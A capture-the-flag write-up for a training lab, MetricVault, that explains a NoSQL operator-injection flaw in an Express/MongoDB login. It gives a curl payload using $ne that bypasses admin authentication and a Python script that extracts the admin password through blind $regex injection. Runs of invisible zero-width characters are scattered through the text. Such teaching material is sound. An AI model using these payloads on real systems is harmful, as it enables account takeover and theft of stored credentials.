← Back to Writeups
CUSTOMMediumWeb

Lab 78 — MetricVault — NoSQL Injection in Login Authentication

XESXOR9/10/20263 min read
#web#custom#medium#authentication_bypass#blind_regex_extraction#nosql_injection#operator_injection#linux

Lab 78 — MetricVault — NoSQL Injection in Login Authentication

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-27 | Status: Solved Techniques: authentication_bypass, blind_regex_extraction, nosql_injection, operator_injection

Summary

Task: Express.js login form with MongoDB backend vulnerable to NoSQL injection. Solution: bypass authentication with $ne operator, then extract admin password (flag) character-by-character using $regex blind injection.

Lab 78 — MetricVault — NoSQL Injection in Login Authentication — Hackadvisor

Description

MetricVault is a business analytics dashboard built by VaultStream Inc. that helps teams track KPIs, visualize trends, and generate reports. The platform features user authentication, customizable dashboards, and data export capabilities.

Your target is a live instance of MetricVault. A guest account is available for exploring the application. Your objective is to gain access to the admin account and retrieve the secret stored in its credentials.

The platform uses a document-based data store with a query language that supports comparison operators. Pay close attention to how the authentication system processes login requests.

Credentials: guest / guest Hint: The login form processes credentials using a document-based query engine that supports comparison operators. Try examining how the server handles different input types beyond simple strings. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A business analytics dashboard with login functionality. The goal is to access the admin account and extract a secret stored in the admin's credentials. The hint points to MongoDB (document-based store with comparison operators) and suggests testing non-string input types.

Analysis

Reconnaissance

  1. Server identification: The X-Powered-By: Express header reveals an Express.js (Node.js) backend
  2. Database type: "Document-based data store with comparison operators" strongly indicates MongoDB
  3. Vulnerability hint: "Different input types beyond simple strings" suggests the JSON parser accepts objects, enabling MongoDB operator injection ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability

The login endpoint accepts JSON POST requests and directly passes user input to MongoDB queries without sanitization. This allows injection of MongoDB query operators like $ne, $gt, $regex instead of string values.

Vulnerable query pattern (conceptual):

javascript
db.users.findOne({ username: req.body.username, password: req.body.password })

When password is {"$ne": ""}, the query becomes:

javascript
db.users.findOne({ username: "admin", password: { $ne: "" } })

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This matches any document where password is not empty, bypassing authentication.

Solution

Step 1: Authentication Bypass with $ne Operator

Bypass login by injecting the $ne (not equal) operator:

bash
curl -X POST "https://ec8d973e-b25e-460d-af54-ab40a0bf5444.labs.hackadvisor.io/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":{"$ne":""}}' \
  -c cookies.txt

A 302 redirect indicates successful authentication as admin.

Step 2: Blind Password Extraction with $regex

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The flag is stored in the admin's password field. Extract it character-by-character using the $regex operator:

python
#!/usr/bin/env python3
import requests
import string

URL = "https://ec8d973e-b25e-460d-af54-ab40a0bf5444.labs.hackadvisor.io/login"
charset = string.ascii_lowercase + string.digits + "_-}"
password = "FLAG{"

for i in range(50):
    for c in charset:
        # Escape regex special characters
        escaped_pw = password.replace("{", "\\{").replace("}", "\\}")
        test_c = "\\}" if c == '}' else c
        pattern = f"^{escaped_pw}{test_c}"
        
        payload = {
            "username": "admin",
            "password": {"$regex": pattern}
        }
        
        r = requests.post(URL, json=payload, allow_redirects=False, timeout=3)
        
        if r.status_code == 302:  # Successful login = character match
            password += c
            print(f"Progress: {password}")
            if c == '}':
                print(f"FLAG: {password}")
                exit()
            break
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

print(f"Final: {password}")

The script:

  1. Starts with known prefix FLAG{
  2. Tests each character by anchoring regex at start (^)
  3. A 302 redirect confirms the character is correct
  4. Continues until } is found

Decoy Flag

The HTML source contained a honeypot flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} to trap automated scanners. The real flag was only obtainable through the blind extraction technique. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍